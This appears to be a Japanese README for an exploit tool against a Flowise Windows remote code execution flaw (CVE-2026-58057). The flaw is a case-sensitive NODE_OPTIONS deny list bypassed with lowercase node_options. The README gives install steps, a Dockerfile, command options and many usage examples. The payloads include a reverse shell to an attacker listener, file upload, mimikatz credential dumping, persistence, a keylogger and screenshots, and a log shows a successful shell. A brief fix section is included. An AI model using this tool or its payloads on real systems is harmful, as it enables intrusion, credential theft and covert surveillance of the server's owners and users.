
Flowise Windows RCEエクスプロイト(CVE-2026-58057)。大文字小文字の区別に関する欠陥を利用して環境変数の検証をバイパスします。node_optionsを使用して、MCP stdio経由で任意のコードを注入します。リバースシェル、永続化、ファイルアップロード、資格情報ダンプをサポートします。許可されたセキュリティテストのみを対象としています。
これは、Windows プラットフォーム上の Flowise における重要なリモートコード実行脆弱性 CVE-2026-58057 に対するプロダクショングレードのエクスプロイトです。この脆弱性は、大文字小文字を区別する環境変数検証に起因し、小文字の node_options をブロックできないため、攻撃者が NODE_OPTIONS の拒否リストをバイパスし、カスタム MCP stdio 設定を通じて任意のコードを実行することを可能にします。
このエクスプロイトは、モジュール式アーキテクチャ、包括的なエラーハンドリング、複数のペイロードタイプのサポートにより、プロフェッショナルなソフトウェアエンジニアリングの実践を示しています。
重要: このツールは、認可されたセキュリティテスト、ペネトレーションテスト、教育目的のみで提供されています。著者は、本ソフトウェアの誤用または損害について一切の責任を負いません。システムをテストする前に、必ず適切な許可を得てください。
# 脆弱な検証(大文字小文字を区別)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # 正確な大文字の一致のみをブロック
raise ValueError(f"Modification not allowed")
node_options 環境変数を注入する--require malicious-loader.js に設定する# リポジトリのクローン
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# 依存関係のインストール
pip install -r requirements.txt
# または最小限のインストール
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| オプション | 説明 | 例 |
|---|---|---|
-t, --target | Flowise の URL(必須) | http://localhost:3000 |
-k, --api-key | Flowise API キー | flowise_abc123... |
-u, --username | ユーザー名 | admin |
-p, --password | パスワード | password123 |
| オプション | 説明 | 例 |
|---|---|---|
--payload | ペイロードタイプ | reverse_shell |
--lhost | リスナーホスト | 192.168.1.100 |
--lport | リスナーポート | 4444 |
--command | 実行するコマンド | whoami |
--local-file | アップロードするファイル | payload.exe |
--remote-path | リモート保存先パス | C:\\Temp\\update.exe |
| オプション | 説明 |
|---|---|
--interactive | インタラクティブシェルを起動 |
--verbose | デバッグ出力を有効化 |
--timeout | リクエストのタイムアウト(秒) |
--retries | リトライ試行回数 |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload screenshot
| ペイロード | 説明 | 引数 |
|---|---|---|
reverse_shell | リスナーに接続を戻す | --lhost, --lport |
bind_shell | リスニングポートを開く | --lport |
command_exec | コマンドを実行する | --command |
file_upload | ターゲットにファイルをアップロード | --local-file, --remote-path |
persistence | 永続化をインストール | なし |
info_gather | システム情報を収集 | なし |
mimikatz | 資格情報をダンプ | なし |
screenshot | スクリーンショットを取得 | なし |
keylogger | キーロガーをインストール | なし |
# バージョン 3.1.3 以降にアップグレード
npm install -g flowise@latest
# または
docker pull flowiseai/flowise:latest
# 修正された検証(大文字小文字を区別しない)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous: # 大文字小文字を区別しないチェック
raise ValueError(f"Modification not allowed")
[14:32:15] ℹ エクスプロイトシーケンスを開始...
[14:32:15] ℹ 認証を試行中...
[14:32:16] ✓ API キーで認証されました
[14:32:16] ℹ reverse_shell ペイロードの実行を準備中...
[14:32:16] ℹ 環境変数を注入中...
[14:32:17] ℹ ペイロードの実行をトリガー中...
[14:32:19] ✓ ペイロード 'reverse_shell' が正常に実行されました!
[14:32:19] ℹ リバースシェルリスナーが 192.168.1.50:4444 で準備完了
[14:32:15] 🔍 リトライ戦略でセッションを作成しました
[14:32:15] 🔍 既存のワークスペースを使用: ws_123456
[14:32:16] 🔍 ローダー書き込み: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio 設定を更新しました